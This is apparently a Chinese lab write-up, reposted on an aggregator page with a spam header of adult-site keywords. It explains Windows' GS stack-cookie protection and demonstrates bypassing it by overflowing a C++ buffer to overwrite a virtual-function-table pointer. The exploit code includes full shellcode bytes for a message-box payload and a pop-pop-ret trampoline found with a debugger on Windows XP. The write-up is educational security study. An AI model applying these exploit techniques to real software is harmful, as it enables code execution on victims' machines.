日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

7.1 覆盖虚函数突破GS

發布時間:2023/12/20 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 7.1 覆盖虚函数突破GS 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

一、GS安全編譯選項的保護原理

?1、Security Cookie

?2、變量重排

二、實驗環境

三、實驗代碼

四、實驗步驟


一、GS安全編譯選項的保護原理

?1、Security Cookie

??????? GS編譯選項為每個函數調用增加了一些額外的數據和操作,用以檢測棧中的溢出:

  • 在所有函數調用發生時,向棧幀內壓入一個額外的隨機DWORD,這個隨機數被稱為“cannary”,但如果使用IDA反匯編的話,IDA會將這個隨機數標注為“Security Cookie”;
  • Security Cookie位于EBP之前,系統還將在.data的內存區域存放一個Security Cookie的副本;
  • 在棧中發生溢出時,Security Cookie將會被首先淹沒,之后才是EBP和返回地址;
  • 在函數返回之前,系統將執行一個額外的安全驗證操作,被稱為Security Check;
  • 在Security Check的過程中,系統將會比較棧中原來存放的Security Cookie和.data中副本的值,如果兩者不吻合,說明棧幀中的Security Cookie已被破壞,即棧中發生了溢出。
  • 當檢測到棧中發生溢出時,系統將進入異常處理流程,函數不會被正常返回,ret指令不會得到執行。

??????? GS保護機制下的內存布局如圖所示:

???????? 并不是對所有的調用函數都使用GS,以下情況將不會使用GS:

  • 函數不包含緩沖區;
  • 函數被定義為具有參數變量列表;
  • 函數使用無保護的關鍵字標記;
  • 函數在第一個語句中包含內嵌匯編代碼;
  • 緩沖區不是8字節類型且大小不大于4字節。

??????? Security Cookie產生的細節:

  • 系統以.data節的第一個雙字作為Cookie的種子,或稱為原始Cookie(所有函數的Cookie都用這個DWORD生成);
  • 在程序每次運行時Cookie的種子都不同,因此種子具有很強的隨機性;
  • 在棧幀初始化以后系統用ESP異或種子,作為當前函數的Cookie,以此作為不同函數之間的區別,增加了cookie的隨機性;
  • 在函數返回前,用ESP還原出(異或)Cookie的種子。

?2、變量重排

??????? GS除了在返回地址前添加Security Cookie,在編譯時根據局部變量的類型對變量在棧幀中的位置進行調整。 下圖是標準棧與GS保護棧的對比:

????????回顧GS機制,程序只有在函數返回時才會檢查Security Cookie,那么只要我們在函數返回劫持程序,就有可能實現對程序的溢出。

二、實驗環境

??????? 操作系統:windows xp sp2

????????軟件版本:VS2008(GS、release)、原版OD(實時調試)

三、實驗代碼

#include "stdafx.h" #include "string.h"class GSVirtual { public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void bar(){} }; int main() {__asm int 3GSVirtual test;test.gsv("\x25\xF9\x98\x7C"//不同的機器,地址不一樣"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\0"/*"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\0"*/);return 0; }

??????? 代碼解釋及實驗思路:

????????(1)類GSVirtual中的gsv函數存在典型的溢出漏洞;

????????(2)類GSVirtual中包含一個虛函數vir;

??????? (3)當gsv函數中的buf變量發生溢出的時候可能會影響到,如果我們可以修改虛函數表的地址,將其指向我們可以控制的內存空間,就可以在程序調用虛函數時控制程序流程。

四、實驗步驟

????????確保緩沖區安全檢查開啟,也就是在函數返回時會判斷security cookie是否被修改,以此判斷是否出現緩沖區溢出。

????????使用如下代碼判斷:要想修改虛表指針的值,還需填充多少個字節的數據。

#include "stdafx.h" #include "string.h"class GSVirtual { public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void bar(){} }; int main() {__asm int 3GSVirtual test;test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\0");return 0; }

???????

????????執行strcpy操作;?

???????? 執行完strcpy操作,查看內存分布,可以發現:要想在strcpy沒結束之前修改虛函數表的地址,還差20字節。

???????? 將虛函數表地址修改為原始shellcode的地址,那么在程序在調用虛函數的時候,虛函數指針將會找到shellcode處。現在要做的就是讓EIP寄存器指向0x00402100(內存中shellcode的起始地址)或者指向0x12FE9C(棧中shellcode的起始地址),此處需要使用跳板技術!

??????? 程序執行到CALL指令,發現沒有哪個寄存器保存有0x00402100或者0x0012FE9C的值,因此使用jmp將無法達到目的。

????????發現:棧區0x0012FE8C是指向棧區的shellcode,因此我們可以使用pop.pop.return指令來使得EIP指向0x0012FE9C,從而指向shellcode。

??????? 注:為什么要兩個pop?

??????? 因為調用call時,棧區會保存返回地址,那么0x0012FE8C將距離棧頂8字節,emm,所以需要在return(也就是EIP指向棧頂地址)時,需要pop處8字節的數據。

???????? 如何找pop.pop.return地址呢?需要用到OllyUni.dll插件。

????????之后,在日志里面找相關地址。

??????? 這個地址需要寫成第一個pop的地址,不然,你直接就是return了,EIP會指向之前CALL的返回地址。

????????需要注意的是:當EIP指向0x0012FE8C時,你找的pop.pop.return的地址將會被解析成指令,這里就會出現解析出來的指令執行不了的問題,因此,如果執行不了,你得多找幾次。

???????? 上述完成后,同樣使用彈框failwest作為核心shellcode。

#include "stdafx.h" #include "string.h"class GSVirtual { public :void gsv(char * src){char buf[200];strcpy(buf, src);bar(); // virtual function call}virtual void bar(){} }; int main() {//__asm int 3GSVirtual test;test.gsv("\x25\xF9\x98\x7C"//不同的機器,地址不一樣"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\0");return 0; }

?

?

?

總結

以上是生活随笔為你收集整理的7.1 覆盖虚函数突破GS的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。